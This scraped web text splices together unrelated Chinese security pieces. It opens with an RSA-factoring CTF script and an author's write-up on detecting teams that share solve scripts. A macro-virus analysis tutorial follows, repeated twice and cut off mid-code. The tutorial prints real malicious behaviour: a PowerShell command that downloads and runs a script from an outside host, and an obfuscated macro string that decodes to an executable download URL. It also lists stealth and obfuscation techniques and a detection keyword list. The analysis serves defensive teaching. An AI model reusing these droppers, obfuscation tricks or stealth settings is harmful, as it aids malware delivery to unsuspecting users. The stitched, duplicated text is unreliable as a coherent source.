n = 0x78e2e04bdc50ea0b297fe9228f825543f2ee0ed4c0ad94b6198b672c3b005408fd8330c36f55d36fb129d308c23e5cb8f4d61aa7b058c23607cef83d63c4ed0f066fc0b3c0062a2ac68c75ca8035b3bd7a320bdf29cfcf6cc30377743d2a8cc29f7c588b8043412366ab69ec824309cb1ef3851d4fb14a1f0a58e4a1193f5518fa1d0c159621e1f832b474182593db2352ef05101bf367865ad26efe14fce977e9e48d3310a18b67991958d1a01bd0f3276a669866f4deaef2a68bfaefd35fe2ba5023a22c32ae8b2979c26923ee3f855363f18d8d58bb1bc3b7f585c9d9f6618c727f0f7b9e6f32af2864a77402803011874ed2c65545ced72b183f5c55d4d1L
m = 0x78e2e04bdc50ea0b297fe9228f825543f2ee0ed4c0ad94b6198b672c3b005408fd8330c36f55d36fb129d308c23e5cb8f4d61aa7b058c23607cef83d63c4ed0f066fc0b3c0062a2ac68c75ca8035b3bd7a320bdf29cfcf6cc30377743d2a8cc29f7c588b8043412366ab69ec824309cb1ef3851d4fb14a1f0a58e4a1193f5a58ee70a59ac06b64dbe04b876ff69436b78cf03371f2062707897bf4e580870e42b5e62709b69f6d4939ac5641ea0f29de44aaee8f2fcd0f66aaa720b584f7c801e52ce7cd41db45ceb99ebd7b51bef8d0cd2deb5c50b59f168276c9c98d46a1c37bd3d6ef81f2c6e89028680a172e00d92dd8b392135112dd16efab57d00b26b9L
def quadratic(a,b,c):
    ga=gmpy2.mpz(a)
    gb=gmpy2.mpz(b)
    gc=gmpy2.mpz(c)
    delta=gb**2-4*ga*gc
    if delta<=0 or a==0:
        return 0
    tmp=gmpy2.iroot(delta,2)
    if tmp[1]==True:
        x1 = (-gb + tmp[0]) / (2*ga)
        x2 = (-gb - tmp[0]) / (2 * ga)
        if x1>0 and n%x1==0:
            print x1
            return x1
        if x2>0 and n%x2==0:
            print x2
            return x2
    return 0
def main():
    for x in range(1500):
        print x
        for y in range(1500):
            a=y
            b=x*y-m+n
            c=x*n
            if quadratic(a,b,c)!=0:
                return 0
main()

这个题出完之后,感觉就是水了个题,好弱;于是我把这个做成了交互式的,又好弱;考虑到强网杯普及面很广,萌新很多,于是我准备把RSA所有考点搬过来让大家学习学习。于是就有了:

problem_brute_256bit(conn)
problem_wiener_attack(conn)
problem_LLL_attack(conn)
problem_np_nq(conn)
cheat=problem_yafu_cheat_check(conn, address,teamtoken)
problem_e_3_brute(conn)
problem_gcd_attack(conn)
problem_same_n(conn)
problem_broadcast(conn)

9个关卡。本来我构想是大概到15个左右,但是实在是有点忙,9个也够喂饱萌新了,于是题目最终出成了这样。所有给予的信息,都是完整的信息,通过这些判断条件是可以知道用什么方法去解的,如果不知道,可以参考我以前的一篇文章:https://www.anquanke.com/post/id/84632

题目的源码也已经公开,详情参见:https://github.com/fpbibi/nextrsa

基于信息不对等的竞赛作弊检测技术-Crypto版本

这个方法最关键的地方在于信息不对等,也就是选手知道的信息和出题者知道的信息是不对等的。这就造成了一个后果:

题目对选手黑盒 或 运行的题目和选手拿到的题目不一样

前者常用于PPC和Crypto类型的题目,后者常用于PWN类型题目。

我们在题目中设置一些类似于“陷门”的东西,可以100%地实锤某些作弊,主要可以实锤一种行为:

两个队伍交换了解题脚本,并修改teamtoken直接运行

以nextrsa举例,我做了如下设置(因为从平台方拿到teamtoken的时间有点晚,所以我是以IP区分来源的):

首先我选择了9关中的1个关卡,我选择的是第5关使用yafu分解n的关卡,选择这一关的原因有两点:

1 上一关是整个游戏最难的一关,所以到这一关的人很少,可以减少日志数量 2 这一关的yafu是需要把字符串复制出来跑的,难以动态获取立即跑完

选手在遇到这个关卡的时候,会获得以下信息:

1 这个用yafu可以跑出来 2 这个字符串每次跑都是一样的,是固定的

通过上述两个信息,选手会把n直接复制出来扔到yafu里,并分解成功后,将pq,或者将算好的私钥,也就是d放到脚本中过此关卡。
但是,在服务器上的代码并不是固定的n,n是使用这种方式生成的:

q=0xab724df05ca87067ce1573550a6a05f41f93e910b0380c71cdc5de940ef790a475f5c3d512354bc57b3410e7f5158fb287f79397353acb169ef583260eec76f4c46d21e4cb43426e3c66ba9b75d3c1b009ff1f9a0fea9c7d9815eadc5f7ac776d6dcae3c1fa3de865253623b4121e6b4f51deea0b7ae9ca84aad5fe83ba56451L
seed=int(hashlib.sha256(ip).hexdigest()[0:8],16)
p=primefac.nextprime(seed)
n=p*q

这里可惜的是,使用的是ip,所以又有了很多复杂的工作;这里最好是以teamtoken作为种子生成p。这种方式生成的p和d,每个ip或者每个token不一样。当一个队伍成功解题的时候,服务器端会记录其ip/token对应的d和n。

if rec_m == hex(m).replace("L",""):
    d=primefac.modinv(e,(p-1)*(q-1))
    if d<0:
        d+=(p-1)*(q-1)
    successdn.append((d,n))
    f=open("success/"+ip,"a")
    f.write("teamtoken:"+teamtoken+"\n"+"time:"+time.strftime('%Y%m%d%H%M%S')+"\nm:"+hex(m).replace("L","")+"\nd:"+hex(d).replace("L","")+"\nn:"+hex(n).replace("L","")+"\n\n")
    f.close()
    ok(conn)
    return 0

正常解题会发生如下情况,那么不正常解题呢?也就是说,如果这个脚本到了其他人的手里,ip和token都会发生改变,那么服务器给他的n肯定就变了,但是他脚本里的d没变。如下:

某个队伍使用自己的ip/token和服务器交互的时候,提交了和自己的ip/token不对应的d,并且这个d是其他队伍使用的。那么可以认为这个队伍有作弊嫌疑。

最骚的操作是,当服务发现该队伍作弊,使用了其他队伍的私钥后,还继续正常进行,让该队伍获得flag。######不要打我
因为我使用的是ip,不是token,所以还需要进一步分析,就是会存在这样两种情况:

1 同一个队伍的大佬做完题目后,把脚本给了另外一个ip的小弟跑 2 两个ip的p相撞

因此我又编制了一个脚本,用来筛选:

只有在两个不同的teamtoken中出现了相同私钥 and 作弊队伍的teamtoken没有成功的交互记录

for i in cheatlist:
    (cheat_token,cheat_time,cheat_d,cheat_n)=i
    find_father=0
    for j in successlist:
        (token,time,d,n)=j
        if token==cheat_token and cheat_d==d and cheat_n==n and cheat_time>time:
            find_father=1
            break
    if find_father==0:
        print cheat_token
        for j in successlist:
            (token, time, d, n) = j
            if cheat_d==d and cheat_n==n and cheat_time>time:
                print "from",token

只要满足上述所有条件,那么该队伍在概率学上是100%实锤作弊,而且还能一下锤两个。==!

图片.png

项目目录中,ppc_rsa.py是题目服务,自带socket;hide.py是flag文件,flag文件夹内记录成果获取flag的ip和token,success文件夹内记录成功以正确的私钥过那一关的ip和token,cheat文件夹内表示作弊嫌疑人,运行check_cheat.py可以进行数据分析,并给出100%实锤的作弊token。

图片.png

最后

Pwn类型的题目有着类似的思路,有兴趣的可以自己思考一下。也希望CTF的氛围越来越好,大佬越来越多。

本文作者:i春秋作家——icq5f7a075d

宏病毒专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=133

3. 宏病毒实例分析

3.1 实例1

接下来,我将以demo2.doc为例,实例分析宏病毒,demo2是一个真实的宏病毒,请在虚拟机中分析。

打开demo2.doc,发现弹出了“安全警告”,文本中内容提示用户要点击“启用内容”才能看到文件内容,实际上这里是社会工程学攻击,用户单击“启用内容”就会运行宏,并感染病毒:

图片.png

ALT+F11打开VBA编辑器,查看宏代码。但是你会发现,此时工程里没有数据,这是因为我们没有单击“启用内容”,VBA工程还没有加载。

单击“启用内容”,这个时候宏就已经运行了,再次查看VBA编辑器,弹出了要求输入密码的对话框。除了输入密码,我们不能看到其他信息,看来这段宏被加密了,接下来我们就要祭出神器VBA_Password_Bypasser进行解密了。

图片.png

关闭demo2.doc        ,使用VBA_Password_Bypasser重新打开demo2.doc,再次打开VBA编辑器查看宏代码,宏代码一览无余:

图片.png

这段宏首先拼接了一段字符串CGJKIYRSDGHJHGFFG,这段字符串是一段命令,接下来就调用Shell() ,执行这段命令。

但是CGJKIYRSDGHJHGFFG的内容经过混淆,我们没办法一眼看出执行了什么命令,我们可以改造宏代码,使用Msgbox将CGJKIYRSDGHJHGFFG这段命令打印出来:

图片.png

现在就一目了然了,这段cmd命令执行了两段powershell命令,第一段powershell命令是从’http://skycpa.in/file.php‘中下载文件,并另存为’%TEMP%\Y.ps1′,第二段powershell命令就是执行Y.ps1,关于Y.ps1的分析不属于宏病毒的范畴,这里就不做分析了。

3.2 oledump.py

在之前的分析中,我们先启用宏,然后打开VBA编辑器分析宏代码。这个时候我们不仅可以直观的看到宏代码,还可以动态调试。但是,我们选择启用宏后,宏代码就会运行,如果存在恶意行为,恶意行为就会执行。这样的分析方式存在一定的风险,那么,有没有一种方式,不运行宏就能查看宏代码呢?当然有,那就是oledump.py(https://github.com/decalage2/oledump-contrib)。

oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。其查找基于二进制文件格式的文件中的内容的流程:

  1.读取文件流。

  2.识别可能包含要查找的内容的结构。

  3.通过第一个结构,找到下一节的位置。

  4.在流中转到该节。

  5.重复前面两个步骤,直到找到所需的内容。

  6.读取并分析内容。

接下来我们简单介绍一下oledump的使用,我们依然以demo2为例进行介绍:

运行:

python oledump.py  demo2.doc

图片.png

这是oledump对doc文件的最基础的分析,显示了这个文件的Stream数据(在接下来的章节中我们会进行介绍Stream),一共包含5段,其中A3这一段数据上标记了字母‘M’,表示这段数据中含有VBA宏(Macro)。

oledump.py有许多参数可以选择,使用oledump.py -m 可以查看oledump.py 的帮助信息,这里我们要用到的参数是-s和-v

-s 段号:选择上分析出的某一段来查看内容

-v     :解压缩VBA宏

上面两个参数结合起来用就可以找出宏源码:

python oledump.py -s A3 -v demo2.doc

图片.png

可以看到宏代码被解析出来了。

在实际分析时,-s后的参数可以选择‘a’,表示分析所有段的数据,还可以使用‘>’符号将宏代码数据存储在新文件中:

图片.png

最后,再介绍一下 decoder_ay.py和-d参数,它可以将文件中的exe数据dump下来。有一些文档宏存储了exe数据,这个时候我们就可以使用下列命令,将文档中的exe数据导出:

python oledump.py -s 14  -D decoder_ay.py -d 1.doc  >1.exe

如果我们只是想dump某一段数据,而不关心是不是exe数据,使用如下命令:

Oledump.py -s 段名 -d 文件名 >新文件名

4. 宏病毒的分析技巧

4.1. 自动执行

宏病毒分析的第一步是定位自动执行入口。

宏病毒具有自动执行的特性,特别是含有AutoOpen的宏,一旦用户打开含有宏的文档,其中的宏就会被执行,而用户一无所知。

宏病毒的激发机制有三种:利用自动运行的宏,修改Word命令和利用Document对象的事件。

宏病毒中常用的自动执行方法有两种:一种是用户执行某种操作时自动执行的宏,如Sub botton(),当用户单击文档中的按钮控件时,宏自动执行;另一种则是Auto自动执行,如Sub AutoOpen()和Sub AutoClose(),分别在文档打开和关闭时自动执行。

4.2. 隐秘执行

宏病毒利用几行代码就可以实现隐秘,下列代码是从宏病毒样本1(MD5:f849544803995b98342415dd2e67180c)中提取的代码片段,宏病毒通过阻止弹出各类提示,防止用户发现宏正在运行来实现自我隐藏:

On Error Resume Next             ‘如果发生错误,不弹出错误对话框

Application.DisplayStatusBar = False  ’进制显示状态栏

Options.SaveNormalPrompt = False    ‘修改公用模板时自动保存,不弹出提示

宏病毒自我隐藏还有一种方式,那就是屏蔽菜单按钮和快捷键,普通用户即使猜测到有宏正在运行,也无法取消正在执行中的宏,查看宏信息。

下表是笔者总结的宏病毒采取的隐蔽执行的一些措施:

代码 措施
On Error Resume Next 如果发生错误,不弹出错误对话框
Application.DisplayStatusBar = False 不显示状态栏,避免显示宏的运行状态
Options.SaveNormalPrompt = False 修改公用模板时在后台自动保存,不给任何提示
EnableCancelKey = wdCancelDisabled 使不可以通过ESC键取消正在执行的宏
Application.ScreenUpdating = 0 不让屏幕更新,让病毒执行时不影响计算机速度
Application.DisplayAlerts = wdAlertsNone 不让Excel弹出报警信息
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0 屏蔽工具菜单中的“宏”按钮
CommandBars(“Macro”).Controls(“Security”).Enabled = 0 屏蔽宏菜单的“安全性”
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0 屏蔽宏菜单的“宏”
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0 屏蔽工具菜单的“自定义”
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0 屏蔽视图宏菜单的“工具栏”
CommandBars(“format”).Controls(“Object”).Enabled = 0 屏蔽格式菜单的“对象”

4.3. 调用外部例程和命令执行

宏病毒的强大主要来自与对Windows API和外部例程的调用,通过对大量样本的分析,本文总结出一张宏病毒调用的外部例程表。

外部例程 介绍
MSXML2.ServerXMLHTTP Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求
Net.WebClient 提供网络服务
Adodb.Stream Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序
Wscript.shell WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。
Poweshell PowerShell.exe 是微软提供的一种命令行shell程序和脚本环境
Application.Run 调用该函数,可以运行.exe文件
WMI 用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:\\.\root\CIMV2隐藏启动进程
Shell.Application 能够执行sehll命令

如图所示,使用Wscript.shell实现命令执行功能:

图片.png

上表中Wscript.shell、Poweshell、Application.Run、Shell.Application这些外部例程都可以用来执行命令,除此之外,一些API如:Shell( )、CallWindowProc( )也常用于执行命令。

4.4. 字符串隐写

宏病毒分析比较简单,这是因为任何能执行宏的用户都能查看宏源码,分析人员轻而易举就分析出宏病毒的行为。通过扫描宏中特征字符串,杀软也很容易检测出宏病毒。宏病毒的开发者们便想尽办法隐藏这些特征字符串,下面本文就对宏病毒中这些字符串的隐写方式进行分析。

4.4.1. Chr()函数

Chr(),返回以数值表达式值为编码的字符(例如:Chr(70)返回字符‘F’)。

使用Chr函数是最常见的字符串隐写技术,利用ascii码,逃避字符串扫描。

如下列代码:

Nrh1INh1S5hGed = “h” & Chr(116) & Chr(61) & “t” & Chr(112) &Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & “t” & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & “e” & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & “4″ & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)

上列代码使用了大量的Chr函数,看似很复杂,实际上就只是一串字符串“ht=tp:/;/chateau-d<es-iles.=com/,4tf33w/<w4t453.;e=xe”。

Nrh1INh1S5hGed字符串看着很像一个链接,但是中间多了几个字符,其实处理起来很简单,只要将多余字符删掉就好。

将这串字符串命名为Nrh1INh1S5hGed也是为了混淆,但是对于宏病毒分析人员来说,这种混淆并没有增加分析难度,分析人员只需要 全选–查找–替换。

Chr()函数还可以利用表达式,增加技术人员的分析难度:

Ndjs = Sgn(Asc(317 – 433) + 105)     

ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8)

经过分析发现,上述代码的字符串是:“http://”

4.4.2. Replace()函数

Replace函数的作用就是替换字符串,返回一个新字符串,其中某个指定的子串被另一个子串替换。

承接上文,把Nrh1INh1S5hGed中多余字符去掉,这里使用Replace函数把多余字符替换为空。

Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed,

                Chr(60), “”), Chr(61), “”), Chr(59), “”)

处理之后:

Nrh1INh1S5hGed=“http://chateau-des-iles.com/4tf33w/w4t453.exe

可以很清晰看出Nrh1INh1S5hGed是一个下载名为w4t453可执行文件的链接。可以猜测w4t453.exe是一个恶意程序,之后一定会执行w4t453.exe。在用户一无所知的情况下,宏已经完成了入侵工作。

2.4.3. CallByname 函数CallByname函数允许使用一个字符串在运行时指定一个属性或方法。

CallByName 函数的用法如下:
Result = CallByName(Object, ProcedureName, CallType, Arguments())

CallByName 的第一个参数包含要对其执行动作的对象名。第二个参数,ProcedureName,是一个字符串,包含将要调用的方法或属性过程名。CallType 参数包含一个常数,代表要调用的过程的类型:方法 (vbMethod)、property let (vbLet)、property get (vbGet),或 property set (vbSet)。最后一个参数是可选的,它包含一个变量数组,数组中包含该过程的参数。

例如:CallByName Text1, “Move”, vbMethod, 100, 100就相当于执行Text1.Move(100,10) 这种隐藏的函数执行增加了分析的难度。

CallByName的作用不仅仅在此,在下面的这个例子中,利用callByName,可以用脚本控制控件:

Dim obj As Object[/align]        Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       CallByName obj, "Size", VbLet, 50
     '以上代码="Me.Text1.Font.Size = 50"
      Dim obj As Object
       Dim V As String
       Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       V = CallByName(obj, "Size", VbGet)
       '以上代码="V = Me.Text1.Font.Size"

4.4.4. Alias替换函数名

Alias子句是一个可选的部分,用户可以通过它所标识的别名对动态库中的函数进行引用。

Public Declare Function clothed Lib “user32″ Alias “GetUpdateRect” (prestigiation As Long, knightia As Long, otoscope As Long) As Boolean

如上例所示,clothed作为GetUpdateRect的别名,调用clothed函数相当于调用user32库里的GetUpdateRect函数。

事实上喜欢使用别名的不仅仅是宏病毒制造者,普通的宏程序员也喜欢使用别名。使用别名的好处是比较明显的,一方面Visual Basic不允许调用以下划线为前缀的函数,然而在Win32 API函数中有大量C开发的函数可能以下划线开始。使用别名可以绕过这个限制。另外使用别名有利于用户命名标准统一。对于一些大小写敏感的函数名,使用别名可以改变函数的大小写。

2.4.5. 利用窗体、控件隐藏信息

控件在宏程序里很常见,有些宏病毒的制造者们便想到利用控件隐藏危险字符串。

图片.png

如图所示,空间里存放着关键字符串,程序用到上述字符串时,只需要调用标签控件的caption属性。

图片.png

控件的各个属性(name、caption、controtiptext、等)都可以成为危险字符串的藏身之所。而仅仅查看宏代码,分析者无法得知这些字符串内容,分析者必须进入编辑器查看窗体属性,这大大增加了分析的难度。

2.4.6. 利用文件属性这种方式和利用窗体属性的方式类似,就是将一切能存储数据的地方利用起来。

如图所示读取的是ActiveDocument.BuiltinDocumentProperties Comments的数据,实际上就是文件备注信息里的数据,将这里的数据Base64解密并执行。

图片.png

图片.png

2.5. 恶意行为字符串不同的宏病毒执行不同的恶意行为,但这些恶意行为是类似的,它们使用的代码往往是相似的。通过大量的样本分析,笔者总结了一些宏病毒执行危险操作时代码中含有的字符串,详见下表:

字符串 描述
http URL连接
CallByName 允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数
Powershell 可以执行脚本,运行.exe文件,可以执行base64的命令
Winmgmts WinMgmt.exe是Windows管理服务,可以创建windows管理脚本
Wscript 可以执行脚本命令
Shell 可以执行脚本命令
Environment 宏病毒用于获取系统环境变量
Adodb.stream 用于处理二进制数据流或文本流
Savetofile 结合Adodb.stream用于文件修改后保存
MSXML2 能够启动网络服务
XMLHTTP 能够启动网络服务
Application.Run 可以运行.exe文件
Download 文件下载
Write 文件写入
Get http中get请求
Post http中post请求
Response http中认识response回复
Net 网络服务
WebClient 网络服务
Temp 常被宏病毒用于获取临时文件夹
Process 启动进程
Cmd 执行控制台命令
createObject 宏病毒常用于创建进行危险行为的对象
Comspec %ComSpec%一般指向你cmd.exe的路径

5. 宏病毒的防御手段

安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,当然也适用于宏病毒,除此这些常规手段之外,宏病毒还有专门的防治措施。

5.1. 禁用宏

由于宏病毒的肆虐,Microsoft不得不在Office办公软件中提供了禁止宏的功能,用户只需要将其打开激活即可再次运行宏。以word2013为例,禁用宏的方法是:单击开发工具菜单下的“宏”,单击“宏安全性”,在随后的出现的对话框中选择“禁用所有宏,并发出通知”,如图所示:

图片.png

这个方法一度被认为能防住所有的宏病毒,但是总会有0day能够绕过宏防护,禁用宏对于利用漏洞绕过宏禁用功能的宏病毒,仍然无能为力。

而且禁用宏功能还有两个很大的缺陷:一是它拒绝了一切的宏执行,并不区分正常的宏和还是病毒宏,这会造成某些文档无法打开或出错;二是宏病毒防护无法阻止启动word时Autoexec.DOT中的宏和Normal.DOT中的宏自动执行。

5.2越过自动宏

如果怀疑文档中存在宏病毒,可以在Office打开文档的时候,始终按住SHift键,将禁止存在的一起自动宏。这和禁用宏有异曲同工之妙,Shift键可以在退出时禁止任何AutoClose宏。这种方法的缺陷也很明显,它只能对付一时,当宏病毒利用其它菜单选项来实现破坏活动,这种方法就不再有效。

5.3恢复被宏病毒破坏的文档

对于普通用户来说,清理宏病毒显得麻烦,因为文档被宏病毒感染后(实际上是文档使用的模板文档被感染),使用文档时常常会出现一些异常情况,即使用杀毒软件将所有带毒的文档文件都处理一遍,但是,当重新打开它们时病毒又出现了。有些用户采用的是将Office卸载重装,但是有时候问题还是没有被解决。

其实,对于宏病毒的清理并不难,下面以删除Word宏病毒为例分步骤详细说明:

① 退出Word程序,先查看系统盘根目录下是否存在Autoexec.DOT文件,如果存在,而又不知道它是什么时候出现,则将其删除。

② 然后找到Normal.DOT文件,一般位于C:\Documents and Settings\ Administrator\Application Data\Microsoft\Templates目录下,用先前干净的备份将其替换,也可以直接删除,Word不会因为找不到Normal.DOT而拒绝启动,它会自动重新生成一个干净的没有任何外来宏的Noraml.DOT。

③ 查看Noraml.DOT所在的目录中是否存在其他模板文件,如果存在且不是自己复制进去的,将其删除。

④ 重新启动Word程序,查看Word是否恢复正常了。

⑤ 最后检查宏病毒防护是否被启用了,某些病毒会自动禁用宏病毒防护功能,如果不启用禁用宏功能,Word会很快再次被病毒感染。

>>>>>>  黑客入门必备技能  带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~

本文作者:i春秋作家——icq5f7a075d

宏病毒专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=133

3. 宏病毒实例分析

3.1 实例1

接下来,我将以demo2.doc为例,实例分析宏病毒,demo2是一个真实的宏病毒,请在虚拟机中分析。

打开demo2.doc,发现弹出了“安全警告”,文本中内容提示用户要点击“启用内容”才能看到文件内容,实际上这里是社会工程学攻击,用户单击“启用内容”就会运行宏,并感染病毒:

图片.png

ALT+F11打开VBA编辑器,查看宏代码。但是你会发现,此时工程里没有数据,这是因为我们没有单击“启用内容”,VBA工程还没有加载。

单击“启用内容”,这个时候宏就已经运行了,再次查看VBA编辑器,弹出了要求输入密码的对话框。除了输入密码,我们不能看到其他信息,看来这段宏被加密了,接下来我们就要祭出神器VBA_Password_Bypasser进行解密了。

图片.png

关闭demo2.doc        ,使用VBA_Password_Bypasser重新打开demo2.doc,再次打开VBA编辑器查看宏代码,宏代码一览无余:

图片.png

这段宏首先拼接了一段字符串CGJKIYRSDGHJHGFFG,这段字符串是一段命令,接下来就调用Shell() ,执行这段命令。

但是CGJKIYRSDGHJHGFFG的内容经过混淆,我们没办法一眼看出执行了什么命令,我们可以改造宏代码,使用Msgbox将CGJKIYRSDGHJHGFFG这段命令打印出来:

图片.png

现在就一目了然了,这段cmd命令执行了两段powershell命令,第一段powershell命令是从’http://skycpa.in/file.php‘中下载文件,并另存为’%TEMP%\Y.ps1′,第二段powershell命令就是执行Y.ps1,关于Y.ps1的分析不属于宏病毒的范畴,这里就不做分析了。

3.2 oledump.py

在之前的分析中,我们先启用宏,然后打开VBA编辑器分析宏代码。这个时候我们不仅可以直观的看到宏代码,还可以动态调试。但是,我们选择启用宏后,宏代码就会运行,如果存在恶意行为,恶意行为就会执行。这样的分析方式存在一定的风险,那么,有没有一种方式,不运行宏就能查看宏代码呢?当然有,那就是oledump.py(https://github.com/decalage2/oledump-contrib)。

oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。其查找基于二进制文件格式的文件中的内容的流程:

  1.读取文件流。

  2.识别可能包含要查找的内容的结构。

  3.通过第一个结构,找到下一节的位置。

  4.在流中转到该节。

  5.重复前面两个步骤,直到找到所需的内容。

  6.读取并分析内容。

接下来我们简单介绍一下oledump的使用,我们依然以demo2为例进行介绍:

运行:

python oledump.py  demo2.doc

图片.png

这是oledump对doc文件的最基础的分析,显示了这个文件的Stream数据(在接下来的章节中我们会进行介绍Stream),一共包含5段,其中A3这一段数据上标记了字母‘M’,表示这段数据中含有VBA宏(Macro)。

oledump.py有许多参数可以选择,使用oledump.py -m 可以查看oledump.py 的帮助信息,这里我们要用到的参数是-s和-v

-s 段号:选择上分析出的某一段来查看内容

-v     :解压缩VBA宏

上面两个参数结合起来用就可以找出宏源码:

python oledump.py -s A3 -v demo2.doc

图片.png

可以看到宏代码被解析出来了。

在实际分析时,-s后的参数可以选择‘a’,表示分析所有段的数据,还可以使用‘>’符号将宏代码数据存储在新文件中:

图片.png

最后,再介绍一下 decoder_ay.py和-d参数,它可以将文件中的exe数据dump下来。有一些文档宏存储了exe数据,这个时候我们就可以使用下列命令,将文档中的exe数据导出:

python oledump.py -s 14  -D decoder_ay.py -d 1.doc  >1.exe

如果我们只是想dump某一段数据,而不关心是不是exe数据,使用如下命令:

Oledump.py -s 段名 -d 文件名 >新文件名

4. 宏病毒的分析技巧

4.1. 自动执行

宏病毒分析的第一步是定位自动执行入口。

宏病毒具有自动执行的特性,特别是含有AutoOpen的宏,一旦用户打开含有宏的文档,其中的宏就会被执行,而用户一无所知。

宏病毒的激发机制有三种:利用自动运行的宏,修改Word命令和利用Document对象的事件。

宏病毒中常用的自动执行方法有两种:一种是用户执行某种操作时自动执行的宏,如Sub botton(),当用户单击文档中的按钮控件时,宏自动执行;另一种则是Auto自动执行,如Sub AutoOpen()和Sub AutoClose(),分别在文档打开和关闭时自动执行。

4.2. 隐秘执行

宏病毒利用几行代码就可以实现隐秘,下列代码是从宏病毒样本1(MD5:f849544803995b98342415dd2e67180c)中提取的代码片段,宏病毒通过阻止弹出各类提示,防止用户发现宏正在运行来实现自我隐藏:

On Error Resume Next             ‘如果发生错误,不弹出错误对话框

Application.DisplayStatusBar = False  ’进制显示状态栏

Options.SaveNormalPrompt = False    ‘修改公用模板时自动保存,不弹出提示

宏病毒自我隐藏还有一种方式,那就是屏蔽菜单按钮和快捷键,普通用户即使猜测到有宏正在运行,也无法取消正在执行中的宏,查看宏信息。

下表是笔者总结的宏病毒采取的隐蔽执行的一些措施:

代码 措施
On Error Resume Next 如果发生错误,不弹出错误对话框
Application.DisplayStatusBar = False 不显示状态栏,避免显示宏的运行状态
Options.SaveNormalPrompt = False 修改公用模板时在后台自动保存,不给任何提示
EnableCancelKey = wdCancelDisabled 使不可以通过ESC键取消正在执行的宏
Application.ScreenUpdating = 0 不让屏幕更新,让病毒执行时不影响计算机速度
Application.DisplayAlerts = wdAlertsNone 不让Excel弹出报警信息
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0 屏蔽工具菜单中的“宏”按钮
CommandBars(“Macro”).Controls(“Security”).Enabled = 0 屏蔽宏菜单的“安全性”
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0 屏蔽宏菜单的“宏”
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0 屏蔽工具菜单的“自定义”
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0 屏蔽视图宏菜单的“工具栏”
CommandBars(“format”).Controls(“Object”).Enabled = 0 屏蔽格式菜单的“对象”

4.3. 调用外部例程和命令执行

宏病毒的强大主要来自与对Windows API和外部例程的调用,通过对大量样本的分析,本文总结出一张宏病毒调用的外部例程表。

外部例程 介绍
MSXML2.ServerXMLHTTP Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求
Net.WebClient 提供网络服务
Adodb.Stream Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序
Wscript.shell WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。
Poweshell PowerShell.exe 是微软提供的一种命令行shell程序和脚本环境
Application.Run 调用该函数,可以运行.exe文件
WMI 用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:\\.\root\CIMV2隐藏启动进程
Shell.Application 能够执行sehll命令

如图所示,使用Wscript.shell实现命令执行功能:

图片.png

上表中Wscript.shell、Poweshell、Application.Run、Shell.Application这些外部例程都可以用来执行命令,除此之外,一些API如:Shell( )、CallWindowProc( )也常用于执行命令。

4.4. 字符串隐写

宏病毒分析比较简单,这是因为任何能执行宏的用户都能查看宏源码,分析人员轻而易举就分析出宏病毒的行为。通过扫描宏中特征字符串,杀软也很容易检测出宏病毒。宏病毒的开发者们便想尽办法隐藏这些特征字符串,下面本文就对宏病毒中这些字符串的隐写方式进行分析。

4.4.1. Chr()函数

Chr(),返回以数值表达式值为编码的字符(例如:Chr(70)返回字符‘F’)。

使用Chr函数是最常见的字符串隐写技术,利用ascii码,逃避字符串扫描。

如下列代码:

Nrh1INh1S5hGed = “h” & Chr(116) & Chr(61) & “t” & Chr(112) &Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & “t” & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & “e” & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & “4″ & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)

